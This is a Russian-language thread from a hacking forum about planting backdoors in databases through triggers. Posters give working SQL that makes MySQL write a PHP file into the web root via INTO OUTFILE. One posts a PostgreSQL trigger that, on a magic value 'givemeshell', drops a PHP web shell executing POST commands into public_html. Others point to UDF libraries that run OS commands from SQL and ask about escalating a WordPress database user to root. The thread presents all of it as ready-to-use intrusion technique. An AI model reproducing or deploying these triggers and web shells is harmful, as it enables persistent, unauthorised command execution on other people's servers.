Вернуться   RDot > RDot.org > Статьи/Articles

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 05.08.2011, 23:21   #21
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Цитата:
Сообщение от vovasik Посмотреть сообщение
а как он у тебя работает ? где косяк пожалуйста объясни
Возьми сначала триггер попроще и отладь его, потом добавишь функционал.
пример
PHP код:
use test;
DROP TRIGGER IF EXISTS testup;
DELIMITER //
CREATE TRIGGER testup BEFORE INSERT ON user
FOR EACH ROW
BEGIN
 select '<?phpinfo();?>' into outfile '/path/pinfo.php';
END;
//
DELIMITER ;
таблица test.user должна существовать, /path/ - доступен на запись

show triggers from test - покажет, что триггер создан

insert into user ... добавит запись в user и запишет файл pinfo.php

====================
UPD

Кстати для организации бэкдора возможно задействовать и
хранимые процедуры и функции, в которых (что представляет наибольший интерес)
возможно использовать UDF http://www.mysql.ru/docs/man/Adding_UDF.html.

Есть и готовые библиотеки, очень интересна, например http://www.mysqludf.org/lib_mysqludf...s_0.0.3.tar.gz
Позволяет выполнять команды OC в запросе или хранимой процедуре.
Мануал по установке http://tokarchuk.ru/2011/04/execute-...ds-from-mysql/

Но и это еще не все, MySQL API позволяет компилировать плагины отдельно от сервера.
http://www.microbecal.com/ftp_load/M...%20Impress.pdf

Вот пример плагина http://code.google.com/p/php-handlersocket/
реализует не SQL доступ к MySQL.

====================
UPD2
Цитата:
Сообщение от recfrf Посмотреть сообщение
с удалением триггера проблем нет? у меня даже под рутом не удаляется, denver
Проблем нет, либо ошибка имени триггера, либо не выбрана база, в которой создан триггер.
Проверяем удаление триггера для примера выше

PHP код:
show triggers from test
PHP код:
use test;
DROP TRIGGER IF EXISTS testup
PHP код:
show triggers from test

Последний раз редактировалось nikp; 13.08.2011 в 21:16..
nikp вне форума   Ответить с цитированием
Старый 13.08.2011, 18:58   #22
recfrf
 
Регистрация: 29.07.2010
Сообщений: 40
Репутация: 1
По умолчанию

с удалением триггера проблем нет? у меня даже под рутом не удаляется, denver
recfrf вне форума   Ответить с цитированием
Старый 16.08.2011, 17:08   #23
vovasik
 
Аватар для vovasik
 
Регистрация: 31.05.2011
Сообщений: 12
Репутация: -1
По умолчанию

с удалением проблем нет , если имя известно то все удаляется как в примере, а вот с остальным ещё не разобрался
vovasik вне форума   Ответить с цитированием
Старый 01.09.2011, 12:30   #24
AloneKiller
 
Аватар для AloneKiller
 
Регистрация: 04.10.2010
Сообщений: 79
Репутация: 0
По умолчанию

Осталось узнать только то, что к примеру на данный момент есть у тебя рут mysql можно ли от него создать такой триггер, чтобы потом при добавлении того же комента из-под вордпресс юзера у тебя стал или создался в мусе юзер рута ? Или там у текущего права поднялись?
AloneKiller вне форума   Ответить с цитированием
Старый 03.09.2011, 14:18   #25
vovasik
 
Аватар для vovasik
 
Регистрация: 31.05.2011
Сообщений: 12
Репутация: -1
По умолчанию

кстати говоря на счет рута mysql интересная догадка
vovasik вне форума   Ответить с цитированием
Старый 27.03.2012, 12:05   #26
Corwin
 
Регистрация: 25.10.2011
Сообщений: 22
Репутация: 45
По умолчанию

В Oracle, Interbase/Firebird, SQLite триггеры создаются практически так же как и в MySQL.
В постгре сначала создается триггерная функция, потом сам триггер вызывающий функцию:
Код:
CREATE FUNCTION func1() RETURNS trigger AS $$ 
BEGIN 
if new.surname='givemeshell'
then CREATE TEMP TABLE asd(b text);
     INSERT INTO asd(b) VALUES ('<?php print `$_POST[q]`;?>');
     COPY asd(b) TO '/home/pentagon/public_html/lang.php';
end if;
return NEW;
END; 
$$ LANGUAGE  plpgsql;

CREATE TRIGGER trig1 
BEFORE UPDATE ON users FOR EACH ROW 
EXECUTE PROCEDURE func1();
если в начале получаем ошибку
'language "plpgsql" does not exist'
то включаем поддержку процедурного языка в текущей бд:
Код:
CREATE LANGUAGE plpgsql
удалить триггер:
Код:
DROP TRIGGER trig1 on users CASCADE
удалить функцию:
Код:
DROP FUNCTION func1()
Corwin вне форума   Ответить с цитированием
Ответ

Метки
backdoor, i'll be back, javascript, фишинг, sql

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot